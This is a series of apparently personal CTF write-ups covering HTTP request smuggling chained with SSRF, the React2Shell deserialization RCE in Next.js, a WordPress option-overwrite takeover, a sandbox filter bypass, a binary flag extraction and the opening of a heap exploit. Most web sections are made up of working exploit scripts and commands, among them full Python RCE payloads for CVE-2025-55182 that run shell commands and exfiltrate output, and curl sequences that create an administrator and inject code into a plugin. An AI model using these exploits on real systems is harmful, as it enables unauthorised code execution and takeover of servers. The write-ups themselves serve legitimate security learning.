Daryx Writeups

UVT CTF - Seas Side Contraband

Fri, 27 Feb 2026 00:00:00 GMT

UVT CTF - Seas Side Contraband

The Setup

We're given a web application instance, a PDF file (Report.pdf), and a description. The PDF is a fake intelligence dossier from "Cosmic Components Co." describing a maritime smuggling ring — and buried inside it are a pair of login credentials: AlexGoodwin / Pine123. The description hints that the web app is "a door, not a destination," which immediately told me the flag wasn't going to be sitting on the website itself. Something deeper was going on.

First Look

After logging in, the app is a pretty standard operations dashboard. There's a forum, a freight registry, and a gateway log page. But the interesting one is /admin — it returns a 403 Forbidden. Not a 404, a 403. That means the page exists and the backend is happy to serve it, but something in front of it is saying no.

The /gateway-log page is where things got really interesting. It's written in-universe as a changelog for the "harbor gateway," but every single entry maps directly to HTTP smuggling concepts if you know what to look for:

"strips duplicate transfer directives before upstream relay" — the proxy normalizes Transfer-Encoding headers
"length declarations preserved to avoid breaking old depot nodes" — the proxy preserves the original Content-Length when forwarding
"dual manifest compatibility mode enabled" — both Content-Length and Transfer-Encoding are accepted simultaneously

That's a textbook TE.CL desync setup. The reverse proxy reads Transfer-Encoding: chunked, the backend reads Content-Length, and the proxy preserves the original CL when forwarding. The forum also had a post confirming it: "External firewall is over-strict. Integration keys bypass routing for maintenance tasks." — the proxy blocks /admin, but the backend itself doesn't care.

HTTP Request Smuggling — Bypassing the 403

The architecture looks like this:

Client  →  Reverse Proxy (reads TE)  →  Backend (reads CL)

The idea is simple: send a single HTTP request that the proxy sees as one request, but the backend interprets as two. The second "ghost" request is our smuggled GET /admin.

Here's how the desync works. We send a POST with both Content-Length and Transfer-Encoding: chunked:

POST / HTTP/1.1
Host: 194.102.62.166:29532
Cookie: session=<SESSION>
Content-Type: application/x-www-form-urlencoded
Content-Length: 9
Transfer-Encoding: chunked
Connection: keep-alive

6a
a=b
GET /admin HTTP/1.1
Host: 194.102.62.166:29532
Cookie: session=<SESSION>

0

The proxy reads the entire chunked body — chunk of 6a (106) bytes, then the terminal 0 chunk — and forwards everything to the backend as a single valid request. But the backend only reads 9 bytes (the Content-Length), which covers just 6a\r\na=b\r\n. Everything after that — our smuggled GET /admin — sits in the socket buffer, waiting.

When we immediately send a follow-up GET / on the same keep-alive connection, the backend processes the leftover bytes first. It sees GET /admin HTTP/1.1 and serves the admin page, completely bypassing the proxy's access control.

The alignment math matters here:

padding = "a=b\r\n"
inner = padding + smuggled_request
chunk_hex = format(len(inner), 'x')    # "6a"
content_length = len(chunk_hex + "\r\n" + padding)  # = 9

Content-Length is set so the backend consumes exactly the chunk header plus padding, nothing more.

The Admin Dashboard — and a Second Smuggle

The smuggled GET /admin came back with a 200 OK and a Set-Cookie: relay_auth=b243.... The admin dashboard had all kinds of fun in-universe content (bribe ledgers, contraband batch IDs), but the critical piece was a form called "Harbor Inventory Probe Console" that POSTs to /admin/relay with an inventory_node URL parameter. The dropdown options pointed to internal services:

http://127.0.0.21:9100/inventory/stock/check?HarborId=1  (West Hub)
http://127.0.0.21:9100/inventory/stock/check?HarborId=2  (Atlantic Hub)
...

That's SSRF — the backend will make HTTP requests to whatever URL we give it. But there's a catch: /admin/relay is also behind the proxy's 403 block. So I needed to smuggle again, this time a POST request with a body:

post_body = f"inventory_node={url_encoded_target}"
smuggled = (
    f"POST /admin/relay HTTP/1.1\r\n"
    f"Host: {HOST}:{PORT}\r\n"
    f"Cookie: session={session}; relay_auth={relay}\r\n"
    f"Content-Type: application/x-www-form-urlencoded\r\n"
    f"Content-Length: {len(post_body)}\r\n"
    f"\r\n"
    f"{post_body}"
)

Same TE.CL technique, just with a bigger smuggled payload. The SSRF had some validation — protocol must be http://, IP must be in the 127.0.0.X range, port must be 9100 — but nothing that blocked what I needed to do.

The known inventory service at 127.0.0.21:9100 responded with JSON listing harbor stock. Interesting, but no flag. The PDF had hinted at deeper hidden services, so I knew I had to go looking.

Scanning the Internal Network

I wrote a quick scanner that fired SSRF requests at every IP from 127.0.0.1 through 127.0.0.255 on port 9100, using 10 parallel threads to keep it fast:

with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:
    for x in range(1, 256):
        executor.submit(scan_ip, x, session, relay)

Most IPs returned nothing. But 127.0.0.230:9100 came back with something completely different — a directory listing:

node://127.0.0.230:9100/
mode=listing

ops
manifests
drops
logs
notes.txt

A hidden internal file server. Now we're talking.

Navigating to the Flag

From here it was just a matter of browsing the file tree through the SSRF, following the breadcrumbs. The manifests/private/44c/readme.txt pointed me to /drops/pacific/batch-44c, and from there I worked my way down through vault/ then sealed/ until I found a file simply called flag:

GET http://127.0.0.230:9100/drops/pacific/batch-44c/vault/sealed/flag

UVT{V3ry_W3ll_D0n3_MrP1n3_I_4m_1mpr3553d}

The Full Chain

The whole attack chains three bugs together:

TE.CL HTTP Request Smuggling to bypass the reverse proxy's 403 on /admin — the proxy reads chunked encoding while the backend reads Content-Length, letting us inject a second request into the connection
Smuggling again to reach /admin/relay and trigger SSRF against internal services on 127.0.0.X:9100
Internal network scanning through the SSRF to discover a hidden file server at 127.0.0.230, then browsing its directory tree to the flag

The gateway log page was the Rosetta Stone for this challenge — every entry was a thinly veiled hint about the smuggling setup. Once I decoded those, the rest was just following the thread deeper and deeper into the internal network.

Flag

UVT{V3ry_W3ll_D0n3_MrP1n3_I_4m_1mpr3553d}

Writeup by daryx

BearCatCTF 2026 - Sea Shells

Sun, 22 Feb 2026 00:00:00 GMT

Challenge Information

Field	Value
Name	Sea Shells
CTF	BearCatCTF 2026
Category	Web
Points	460
Author	Hugh
Flag	`BCCTF{R34c7_S3rv3r_C0mp0n3n7s_RCE_2025}`

Challenge Description

Ahoy, Code-Breakers!

The Dread Captain Next thinks his fortress is impenetrable, but he's left the ship's articles—the very blueprints of how his crew behaves—unguarded. We've heard whispers that if a clever pirate can poison the source they can rewrite the fundamental laws of the ship itself.

Forging your Next-Action scrolls is the key to mutiny. When you control the prototype, the crew stops listening to the Captain and starts listening to you. Seize the shell, and the flag shall be yours!

Target: http://chal.bearcatctf.io:38270/

TL;DR

The challenge runs a Next.js 15.0.0 app with React 19.0.0-rc — a version vulnerable to CVE-2025-55182 (React2Shell). This is a critical insecure deserialization flaw in the React Server Components Flight protocol that allows unauthenticated RCE. We craft a malicious multipart payload that abuses the Flight decoder to create fake "Thenable" (Promise-like) objects, which triggers arbitrary JavaScript execution on the server when awaited.

Recon

Hitting the target gives us a simple journal/log book app — you can submit entries with a title and content. Inspecting the page source and static JS bundles reveals the stack:

Next.js 15.0.0 (Build ID: V_NSvClZKyL3arBuCiH4R)
React 19.0.0-rc (rc-f994737d14-20240522)
App Router with React Server Components (RSC)
A single Server Action with ID 3fee78e8995a129cd1c598459b0203a43f700478

The challenge description is full of hints:

"Next-Action scrolls" → Server Action requests (the Next-Action HTTP header)
"poison the source" / "control the prototype" → Prototype Pollution
"Seize the shell" → RCE

Understanding the Attack Surface

React Flight Protocol

When a Next.js app uses Server Actions, the client communicates with the server via the React Flight protocol. Requests are sent as multipart/form-data with a Next-Action header containing the action ID. The form fields encode serialized JavaScript values using a custom format with $-prefixed type tags:

Prefix	Meaning
`$1`	Reference to chunk with key "1"
`$@1`	Reference to chunk 1 as a Thenable (Promise-like)
`$B1`	"Block" / lazy reference
`$K1`	FormData reference
`$Q1`	Map reference

The server deserializes these into live JavaScript objects. This is where the vulnerability lives.

CVE-2025-55182 — React2Shell

Discovered by Lachlan Davidson in late 2025, this CVSS 10.0 vulnerability exists in react-server-dom-webpack (and the turbopack/parcel variants). The Flight decoder reconstructs objects from the serialized format without proper validation, allowing an attacker to:

Create fake Chunk objects with controlled status, value, _response, etc.
Use $@ references to obtain real Chunk objects and graft their .then method onto attacker-controlled objects
Abuse the _response._formData.get → constructor.constructor chain to reach the Function constructor
Execute arbitrary JavaScript when the server tries to await the fake Thenable

Building the Exploit

The payload creates a chain of fake objects that trick the Flight decoder:

payload = {
    '0': '$1',          # Model: reference to chunk 1
    '1': {              # Fake Chunk object
        'status': 'resolved_model',
        'reason': 0,
        '_response': '$4',
        'value': '{"then":"$3:map","0":{"then":"$B3"},"length":1}',
        'then': '$2:then'    # Borrow .then from a real Chunk
    },
    '2': '$@3',         # $@ gives us a real Chunk (Thenable)
    '3': [],            # Empty array (used for constructor chain)
    '4': {              # Fake Response object
        '_prefix': '<MALICIOUS JS CODE>//',
        '_formData': {
            'get': '$3:constructor:constructor'  # [] → Array → Function
        },
        '_chunks': '$2:_response:_chunks',
    }
}

How the chain works:

Chunk 0 ($1) references Chunk 1 — the fake Chunk
Chunk 2 ($@3) creates a real Thenable reference to Chunk 3, giving us access to a genuine .then method
Chunk 1 steals .then from the real Chunk via '$2:then', making itself look like a Promise
When the server tries to await Chunk 1, it calls .then(), which re-enters the parser with our controlled _response
Chunk 4 (the fake Response) has _formData.get pointing to $3:constructor:constructor — that's [].constructor.constructor = the Function constructor
The _prefix field is prepended to the code string passed to Function(), giving us arbitrary code execution

Data Exfiltration via Redirect

To get command output back, we abuse Next.js's built-in redirect handling. By throwing a specially formatted NEXT_REDIRECT error, the server responds with a 303 redirect containing our data in the URL:

throw Object.assign(new Error('NEXT_REDIRECT'), {
  digest: 'NEXT_REDIRECT;push;/login?a=' + encodeURIComponent(output) + ';307;'
});

The command output appears in the X-Action-Redirect response header.

The Exploit Script

import http.client, json, re, urllib.parse

TARGET = "chal.bearcatctf.io"
PORT = 38270
ACTION_ID = "3fee78e8995a129cd1c598459b0203a43f700478"

def send_rce(cmd):
    cmd_escaped = cmd.replace("'", "\\'")

    # JS code: run command, exfiltrate output via redirect
    js = (
        f"throw Object.assign(new Error('NEXT_REDIRECT'),"
        f"{{digest: 'NEXT_REDIRECT;push;/login?a=' + "
        f"encodeURIComponent(process.mainModule.require('child_process')"
        f".execSync('{cmd_escaped}').toString()) + ';307;'}});//"
    )

    payload = {
        '0': '$1',
        '1': {
            'status': 'resolved_model', 'reason': 0,
            '_response': '$4',
            'value': '{"then":"$3:map","0":{"then":"$B3"},"length":1}',
            'then': '$2:then'
        },
        '2': '$@3',
        '3': [],
        '4': {
            '_prefix': js,
            '_formData': {'get': '$3:constructor:constructor'},
            '_chunks': '$2:_response:_chunks',
        }
    }

    BOUNDARY = "----Boundary"
    body = b""
    for key in sorted(payload.keys()):
        body += f"--{BOUNDARY}\r\n".encode()
        body += f'Content-Disposition: form-data; name="{key}"\r\n\r\n'.encode()
        body += f"{json.dumps(payload[key])}\r\n".encode()
    body += f"--{BOUNDARY}--\r\n".encode()

    conn = http.client.HTTPConnection(TARGET, PORT, timeout=15)
    conn.request("POST", "/", body, {
        "Content-Type": f"multipart/form-data; boundary={BOUNDARY}",
        "Next-Action": ACTION_ID,
    })
    resp = conn.getresponse()
    redirect = dict(resp.getheaders()).get('x-action-redirect', '')
    body_text = resp.read().decode(errors='replace')
    match = re.search(r'[?&]a=([^;&]+)', redirect + body_text)
    return urllib.parse.unquote(match.group(1)) if match else None

# Pop a shell
print(send_rce("id"))
# uid=100(ctf) gid=101(ctf) groups=101(ctf),101(ctf)

print(send_rce("cat /app/flag.txt"))
# BCCTF{R34c7_S3rv3r_C0mp0n3n7s_RCE_2025}

Execution

$ python3 exploit.py
uid=100(ctf) gid=101(ctf) groups=101(ctf),101(ctf)
BCCTF{R34c7_S3rv3r_C0mp0n3n7s_RCE_2025}

Flag

BCCTF{R34c7_S3rv3r_C0mp0n3n7s_RCE_2025}

References

Writeup by daryx

UniverCTF 2025 - SilentSnow

Fri, 19 Dec 2025 00:00:00 GMT

SilentSnow - Web CTF Challenge Writeup

University CTF 2025: Tinsel Trouble

Challenge Information

Challenge Name: SilentSnow
Category: Web
Difficulty: Medium
Instance: http://154.57.164.64:30101/
Flag Format: HTB{...}

Challenge Description

The Snow-Post Owl Society website has been corrupted by malicious code, preventing the midnight delivery of festival updates. The goal is to hack the official website and bypass the corrupted code to trigger a mass resend of the latest article.

The challenge provides a WordPress-based application with:

Custom theme: my-theme
Custom plugin: my-plugin
Docker environment with flag at /flag.txt

Vulnerability Discovery

Location: /src/plugins/my-plugin/my-plugin.php:110

The code uses $_POST['my_plugin_action'] directly as the WordPress option name in update_option() without any validation or sanitization. This allows an attacker to modify ANY WordPress option.

I found also:

1. Auto-login Feature

2. Admin Context Bypass

Endpoint for the settings!

Takes a GET param settings.

Exploitation

Step 1: Access the Settings Page

The plugin checks is_admin() which returns true when accessing files in /wp-admin/ directory. We can access the settings page without authentication:

curl -s "http://154.57.164.79:30430/wp-admin/admin-ajax.php?settings"

Preview:

This returns the settings form with a valid nonce: 5602f77aca

Step 2: Enable User Registration

Exploit the arbitrary options update to enable user registration:

curl -s "http://154.57.164.79:30430/wp-admin/admin-ajax.php?settings" -X POST \
  -d "my_plugin_nonce=0719ac6bf4" \
  -d "_wp_http_referer=/wp-admin/admin-ajax.php?settings" \
  -d "my_plugin_action=users_can_register" \
  -d "mode=1"

Result: WordPress option users_can_register set to 1

Mode Saved!

Step 3: Set Default Role to Administrator

Change the default user role to administrator:

my_plugin_action=default_role
mode=administrator

curl -s "http://154.57.164.79:30430/wp-admin/admin-ajax.php?settings" -X POST \
  -d "my_plugin_nonce=0719ac6bf4" \
  -d "_wp_http_referer=/wp-admin/admin-ajax.php?settings" \
  -d "my_plugin_action=default_role" \
  -d "mode=administrator"

Step 4: Register New Admin User

curl "http://154.57.164.79:30430/wp-login.php?action=register" \
  -c /tmp/cookies.txt \
  -X POST \
  -d "user_login=Daryx123" \
  -d "user_email=Daryx@test.com" \
  -L -i

Step 5: Access WordPress Admin Panel

Verify admin access:

curl -b /tmp/cookies.txt "http://154.57.164.79:30430/wp-admin/"

Successfully authenticated as administrator!

Step 6: Edit Plugin to Read Flag

Access the plugin editor and modify the plugin to add a flag reader endpoint:

curl -b /tmp/cookies.txt "http://154.57.164.79:30430/wp-admin/plugin-editor.php" -X POST \
  -d "nonce=5602f77aca" \
  -d "action=update" \
  -d "file=my-plugin/my-plugin.php" \
  -d "plugin=my-plugin/my-plugin.php" \
  --data-urlencode "newcontent@modified_plugin.php"

We use this code to get the flag read - add it to the plugin code:

<?php
if (isset($_GET['getflag'])) {
    echo file_get_contents('/flag.txt');
    exit;
}
// ... rest of plugin code

Step 7: Retrieve the Flag

Access the modified endpoint:

curl -s "http://154.57.164.79:30430/?getflag"

Flag

HTB{s1l3nt_snow_b3y0nd_tinselwick_t0wn_2c13b6e5a6060cdf72ba12e1b7dfed0d}

Summary

This challenge demonstrated a critical vulnerability in a custom WordPress plugin that allowed arbitrary option updates. The attack chain was:

Access settings page via is_admin() bypass
Enable user registration by modifying users_can_register option
Set default role to admin by modifying default_role option
Register new admin account
Edit plugin code to add flag reader
Read the flag

Author: Daryx Date: 2025-12-19 Challenge: UniverCTF 2025 - SilentSnow

Jeanne Hack RPG - Level III

Sun, 02 Feb 2025 00:00:00 GMT

Challenge Information

Field	Value
Name	Jeanne Hack RPG - Level III
Category	Reverse Engineering
Difficulty	Hard
Points	472
Author	Fenrisfulsur
Flag Format	`JDHACK{....}`

Challenge Description

With a newfound prize in hand, your adventure takes you to the dark depths of the forest. Darkness looms ahead, stirring both excitement and dread...

What mysteries await within?

Files Provided

level_3.so - ELF 64-bit shared object

Initial Analysis

Let's start by examining the binary:

$ file level_3.so
level_3.so: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux),
dynamically linked, BuildID[sha1]=c20c54fd1ff081e2a626038086a02e4625820e7f, stripped

$ sha256sum level_3.so
ab03d0f836daba5961c29f768d09e4b8d589d31042d72191bc9dddc3546e5c02  level_3.so

The binary is a stripped 64-bit shared object, which means no debug symbols are available. This is part of a larger RPG game framework where each level is loaded as a plugin.

Exported Symbols

$ nm -D level_3.so | grep -E "^[0-9a-f]+ T"
000000000001c087 T enter_level
000000000001c0dc T leave_level

The shared object exports two key functions:

enter_level at 0x1c087 - Entry point when the level loads
leave_level at 0x1c0dc - Called when exiting the level

External Dependencies

The binary uses several game framework functions:

choices_add, choices_dispose, create_choices - Dialog/menu system
d4, d10, d20 - Dice roll functions (typical RPG mechanics)
fadein_image, fadeout_image, get_image - Graphics functions

Understanding the Game Mechanics

By analyzing strings in the binary, we can understand the game structure:

$ strings level_3.so | grep -i "room\|dungeon\|weird"

Key findings:

Game Type: Dungeon crawler with maze navigation
Structure: 10x10 grid dungeon with multiple depth levels (max 13)
Starting Position: Coordinates (3, 3)
Directions: North, East, South, West (Forward, Backward, Left, Right)
Enemies: Skeleton, Strong Goblin, Fierce Orc
Special Room: "Weird Room" - a secret location

Interesting Strings

What a weird room! You wonder how you ended up here!
Weird Room
You realize this is the entrance to the dungeon.
Push the door open and enter the dungeon.
While walking inside the dungeon you encounter a
Search the room for loot

The mention of a "Weird Room" is suspicious - this appears to be where the flag might be hidden.

Static Analysis

Key Function Offsets

Offset	Description
`0x1c087`	`enter_level` - Main entry point
`0x10390`	Dungeon initialization routine
`0x10530`	Navigation/game loop handler
`0x13c98`	Secret room handler ("Weird Room")
`0x25820`	State machine table (contains flag)

The State Machine Table

While analyzing the .rodata section, I discovered a state machine table at offset 0x25820. This table contains function pointers and state values used by the game logic.

Let's examine the hex dump:

$ xxd -s 0x25820 -l 256 level_3.so
00025820: 91f4 0000 0000 0000 0400 0000 0000 0000  ................
00025830: 5bf6 0000 0000 0000 0000 0000 0000 0000  [...............
...
00025900: 5bf6 0000 0000 0000 4a00 0000 0000 0000  [.......J.......

Notice the 4a at offset 0x25908 - that's 'J' in ASCII!

Finding the Flag

Pattern Discovery

After analyzing the state machine table more carefully, I noticed that printable ASCII characters appear at regular intervals:

Every 25th entry (each entry is 8 bytes) contains one character of the flag
Starting at entry 29 with 'J'
Ending at entry 829 with '}'

Flag Extraction

The flag characters are embedded in the state machine table at predictable offsets:

Entry Index	Offset	Character
29	0x25908	J
54	0x259d0	D
79	0x25a98	H
104	0x25b60	A
129	0x25c28	C
154	0x25cf0	K
179	0x25db8	{
204	0x25e80	y
229	0x25f48	O
254	0x26010	U
...	...	...
829	0x27208	}

Solution

Extraction Script

#!/usr/bin/env python3
"""
Jeanne Hack RPG Level III - Flag Extractor
Extracts flag from state machine table in level_3.so
"""

def extract_flag(filename):
    with open(filename, 'rb') as f:
        data = f.read()

    # State machine table offset
    base_offset = 0x25820

    # Flag characters are embedded every 25 entries (8 bytes each)
    flag_chars = []

    for i in range(870):
        addr = base_offset + i * 8
        value = int.from_bytes(data[addr:addr+8], 'little')

        # Filter for printable ASCII (excluding common state values)
        if 32 <= value <= 126:
            flag_chars.append(chr(value))

    return ''.join(flag_chars)

if __name__ == '__main__':
    flag = extract_flag('level_3.so')
    print(f'Flag: {flag}')

Running the Script

$ python3 solve.py
Flag: JDHACK{yOU_fOunD_ThE_$eCR3t_R0om}

Alternative Approach: Playing the Game

If you manage to navigate to the "Weird Room" during gameplay, the flag would be revealed through the game's dialog system. The secret room check is at offset 0x13c98, which displays:

What a weird room! You wonder how you ended up here!

However, finding this room through normal gameplay would require:

Understanding the dungeon generation algorithm (seeded by FNV-1a hash of player name)
Navigating through the procedurally generated maze
Reaching the specific coordinates that trigger the secret room

Flag

JDHACK{yOU_fOunD_ThE_$eCR3t_R0om}

Lessons Learned

State machines in games often hide secrets - The flag was embedded within the game's state transition table, not in obvious string locations.
Pattern recognition is key - The regular interval (every 25 entries) was the crucial insight needed to extract the complete flag.
Stripped binaries require patience - Without symbols, understanding the code flow requires careful analysis of cross-references and string usage.
Sometimes static analysis beats dynamic - While playing the game could theoretically reveal the flag, extracting it directly from the binary was more efficient.

Tools Used

file, strings, nm, readelf - Initial binary analysis
xxd - Hex dump examination
Python - Flag extraction script
Ghidra/radare2 - Disassembly and reverse engineering

Writeup by daryx

CVE-2025-55182: ReactOOPS

Thu, 30 Jan 2025 00:00:00 GMT

Vulnerability Summary

Field	Value
CVE ID	CVE-2025-55182
Target	Next.js 16.0.6 with React 19
Type	Remote Code Execution (RCE)
Severity	Critical
Auth Required	None (Unauthenticated)

Challenge Scenario

NexusAI's polished assistant interface promises adaptive learning and seamless interaction. But beneath its reactive front end, subtle glitches hint that user input may be shaping the system in unexpected ways. Explore the platform, trace the echoes in its reactive layer, and uncover the hidden flaw buried behind the UI.

1. Reconnaissance

The challenge provides a downloadable source code archive. The application is a Next.js web app ("NexusAI").

File Analysis

page.tsx: A static landing page. No visible forms, API calls, or user input handling.
Dockerfile: Sets ENV NODE_ENV=production. Copies the flag to flag.txt.
package.json:
- Name: "react2shell" (A strong hint towards RCE)
- Dependencies: "next": "16.0.6" and "react": "^19"

The version 16.0.6 for Next.js is futuristic (as of late 2024/early 2025), suggesting a specific vulnerability is the target.

2. Vulnerability Analysis

CVE-2025-55182 - React Server Components RCE via Flight Payload Deserialization

The application is vulnerable to a critical Remote Code Execution (RCE) flaw in the React Server Components (RSC) "Flight" protocol. This vulnerability allows an unauthenticated attacker to execute arbitrary code on the server by sending a crafted malicious payload during the deserialization process.

The Mechanism

Deserialization Gadget: The attacker sends a JSON payload that React attempts to deserialize.
Hijacked then: The payload includes an object that mimics a Promise (a "thenable").
Code Execution: When React tries to resolve this fake promise, it executes a function defined in the payload (via _formData and the Function constructor).

3. Exploitation

To exploit this, we need to send a POST request that triggers the Server Action processing pipeline.

The Obstacle: Production Mode

The server runs in production mode, which suppresses detailed error messages. If we simply execute code, we might get a 500 error but no output.

The Bypass: error.digest

Next.js has a specific behavior for error handling: if an error object thrown on the server has a digest property, that property's value is sent to the client in the HTTP response, even in production. We can use this to exfiltrate the flag.

Exploit Script

This Python script sends the malicious payload. It executes a command to read the flag, attaches the flag content to an error's digest, and throws the error.

import requests
import json

# Target URL
url = "http://target:port"

# Payload Command:
# 1. Read the flag file using child_process.
# 2. Create a new Error object.
# 3. Set the 'digest' property to the flag content.
# 4. Throw the error to force Next.js to return the flag in the response.
cmd = """
var flag = process.mainModule.require('child_process').execSync('cat /app/flag.txt').toString();
var e = new Error('Exploit');
e.digest = flag.trim();
throw e;
"""

# Minify command to single line for JSON injection
cmd = cmd.replace('\n', ' ')

# Malicious JSON Object
# This structure triggers the CVE-2025-55182 deserialization flaw
payload_obj = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": "{\"then\":\"$B1337\"}",
    "_response": {
        "_prefix": cmd,
        "_formData": {
            "get": "$1:constructor:constructor"
        }
    }
}

# Multipart body with cross-reference ($@0) to trigger deserialization
files = {
    '0': (None, json.dumps(payload_obj)),
    '1': (None, '"$@0"')
}

# The Next-Action header is required to hit the vulnerable code path
headers = {
    'Next-Action': 'x'
}

print(f"[*] Sending exploit to {url}...")

try:
    response = requests.post(url, files=files, headers=headers)
    print(f"[*] Status Code: {response.status_code}")
    print("[*] Response Body:")
    print(response.text)
except Exception as e:
    print(f"[!] Error: {e}")

4. Result

Running the script produces a 500 error, but the response body contains the flag inside the digest field:

[*] Status Code: 500
[*] Response Body:
0:{"a":"$@1","f":"","b":"s8I48LfEDhqpCdFN5-HbU"}
1:E{"digest":"HTB{jus7_1n_c4s3_y0u_m1ss3d_r34ct2sh3ll___cr1t1c4l_un4uth3nt1c4t3d_RCE_1n_R34ct___CVE-2025-55182}"}

Key Takeaways

React Server Components introduce new attack surfaces through the Flight protocol
Deserialization vulnerabilities can lead to RCE even in modern frameworks
Production error handling can leak sensitive data through error.digest
Thenable objects can be weaponized to trigger code execution during promise resolution

Flag

HTB{jus7_1n_c4s3_y0u_m1ss3d_r34ct2sh3ll___cr1t1c4l_un4uth3nt1c4t3d_RCE_1n_R34ct___CVE-2025-55182}

Magical Palindrome

Tue, 28 Jan 2025 00:00:00 GMT

In Dumbledore's absence, Harry's memory fades, leaving crucial words lost. Delve into the arcane world, harness the power of JSON, and unveil the hidden spell to restore his recollection. Can you help harry to find path to salvation?

Initial Analysis

Examining the Source Code

The challenge provides several configuration files. The key files are:

index.mjs - Main server logic:

const IsPalinDrome = (string) => {
    if (string.length < 1000) {
        return 'Tootus Shortus';
    }

    for (const i of Array(string.length).keys()) {
        const original = string[i];
        const reverse = string[string.length - i - 1];

        if (original !== reverse || typeof original !== 'string') {
            return 'Notter Palindromer!!';
        }
    }

    return null;
}

app.post('/', async (c) => {
    const {palindrome} = await c.req.json();
    const error = IsPalinDrome(palindrome);
    if (error) {
        c.status(400);
        return c.text(error);
    }
    return c.text(`Hii Harry!!! ${flag}`);
});

nginx.conf - Server configuration:

server {
    listen 80;
    server_name 127.0.0.1;
    client_max_body_size 75;  // Only 75 BYTES allowed!

    location / {
        proxy_pass http://127.0.0.1:3000;
        proxy_read_timeout 5s;
    }
}

The Challenge

We need to:

Send a palindrome with length >= 1000
Keep the request body under 75 bytes
Pass the palindrome validation check

At first glance, this seems impossible - a JSON payload with 1000 characters would be over 1000 bytes!

The Vulnerability

JavaScript Type Coercion Bug

The vulnerability lies in how JavaScript handles the Array() constructor with different data types.

Key Observations:

When string.length is a NUMBER (e.g., 1000):

Array(1000).keys()  // Creates iterator with 1000 values: 0, 1, 2, ..., 999

When string.length is a STRING (e.g., "1000"):

Array("1000").keys()  // Creates array ["1000"] with ONE element!
// Iterator yields only: 0

The Exploit

By sending an object with:

length as a string "1000" (not a number)
Properties at indices 0 and 999

We can:

Pass the length check: "1000" < 1000 - JavaScript coerces the string to number - 1000 < 1000 - false
Minimize loop iterations: Array("1000") creates an array with only ONE element, so the loop runs only ONCE
Pass the palindrome check: The single iteration only checks string[0] vs string[999], both set to "a"

The Solution

Exploit Payload

{"palindrome":{"0":"a","999":"a","length":"1000"}}

Payload size: 50 bytes (well under the 75-byte limit!)

Execution Flow

// Step 1: Length check
"1000" < 1000  // String coerced to number: 1000 < 1000 = false

// Step 2: Create array
Array("1000")  // Creates ["1000"] - array with ONE element

// Step 3: Loop iteration
for (const i of Array("1000").keys()) {  // Yields only: i=0
    const original = string[0];      // = "a"
    const reverse = string["1000" - 0 - 1];  // = string[999] = "a"

    if ("a" !== "a" || typeof "a" !== 'string') {  // false || false = false
        return 'Notter Palindromer!!';
    }
}

// Step 4: Success!
return null;  // Returns flag

Final Command

curl -X POST http://target:port \
  -H "Content-Type: application/json" \
  -d '{"palindrome":{"0":"a","999":"a","length":"1000"}}'

Result

Hii Harry!!! HTB{Lum0s_M@x!ma}

Key Takeaways

Type Coercion Vulnerabilities: JavaScript's automatic type coercion can lead to unexpected behavior
Array Constructor Behavior: Array(n) behaves differently when n is a number vs. a string
Input Validation: Always validate not just the value but also the type of user inputs
Defense: Use strict equality (===) and type checking, especially when dealing with user-controlled data

Proper Fix

const IsPalinDrome = (string) => {
    // Validate input type
    if (typeof string !== 'string') {
        return 'Invalid input type';
    }

    // Ensure length is a number
    if (typeof string.length !== 'number' || string.length < 1000) {
        return 'Tootus Shortus';
    }

    // ... rest of validation
}

Flag

HTB{Lum0s_M@x!ma}

Calculator

Sat, 25 Jan 2025 00:00:00 GMT

"let's do some math"

The challenge provides a simple calculator web application that evaluates user expressions server-side.

Analysis

The frontend JavaScript (bundle.js) reveals:

A client-side filter blocking ['"\[\]\{\}] characters
User expressions are sent to /calculate endpoint via POST
The server evaluates the expression and returns the result

Server-Side Filtering

Testing revealed the server blocks certain keywords:

process, constructor, require
global, globalThis, Function
__proto__

However, string concatenation inside template literals can bypass keyword detection.

Exploitation

Step 1: Bypass constructor filter

Using template literal concatenation to access the Function constructor:

``[`const`+`ructor`][`const`+`ructor`](`return 1`)()

This chain:

`` - empty string
[`const`+`ructor`] - accesses String.prototype.constructor
[`const`+`ructor`] again - accesses Function constructor
(`return 1`)() - creates and executes a function

Step 2: Bypass process filter

Inside the Function constructor body, we can split the process keyword:

``[`const`+`ructor`][`const`+`ructor`](`var p=p`+`rocess;return p.env`)()

Step 3: Load fs module and read flag

Using process.mainModule.constructor._load() to dynamically load the fs module:

``[`const`+`ructor`][`const`+`ructor`](`
  var p=p`+`rocess;
  var m=p.mainModule.con`+`structor;
  var fs=m._load(\`fs\`);
  return fs.readdirSync(\`/app\`)
`)()

This revealed: ["Public","file.txt","flag.txt","node_modules","package-lock.json","package.json","server.js"]

Step 4: Read the flag

``[`const`+`ructor`][`const`+`ructor`](`
  var p=p`+`rocess;
  var m=p.mainModule.con`+`structor;
  var fs=m._load(\`fs\`);
  return fs.readFileSync(\`/app/flag.txt\`,\`utf8\`)
`)()

Key Takeaways

Template literals (backticks) can bypass string-based keyword filters
String concatenation inside function bodies can evade detection
process.mainModule.constructor._load() provides an alternative to require()
Client-side validation is easily bypassed by directly calling the API

Flag

nexus{7h1s_1s_no7_3v4l_Th1s_15_3v1lllllllllllllllllll}

GhostNote

Sat, 25 Jan 2025 00:00:00 GMT

"We created a secure note-taking application that reuses memory for efficiency. Can you exploit it?"

Binary Analysis

$ checksec chall
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled

All protections are enabled, but we're dealing with a heap challenge. GLIBC 2.31 uses tcache and has __free_hook available.

Functionality

Classic note-taking application with 4 operations:

Add Note - Allocates a chunk (size 1-4096) and stores pointer in notes[idx]
Delete Note - Frees the chunk at notes[idx]
Show Note - Prints content of notes[idx]
Edit Note - Reads new content into notes[idx]

Vulnerability: Use-After-Free (UAF)

In delete_note, the chunk is freed but the pointer is NOT nullified:

void delete_note() {
    int idx = get_int();
    if (idx < 0 || idx > 9 || notes[idx] == NULL) {
        puts("Invalid index or empty.");
        return;
    }
    free(notes[idx]);      // Chunk is freed
    // notes[idx] = NULL;  // MISSING! This is the vulnerability
    puts("Note deleted.");
}

This allows us to:

Read freed memory via show_note() - Leak heap/libc addresses
Write to freed memory via edit_note() - Tcache poisoning

Exploitation Strategy

1. Leak Libc Address

Allocate a large chunk (>0x408 bytes) that goes to unsorted bin when freed:

add(2, 0x420, b'C' * 0x41f)  # Large chunk
add(3, 0x20, b'D' * 0x1f)    # Guard to prevent consolidation
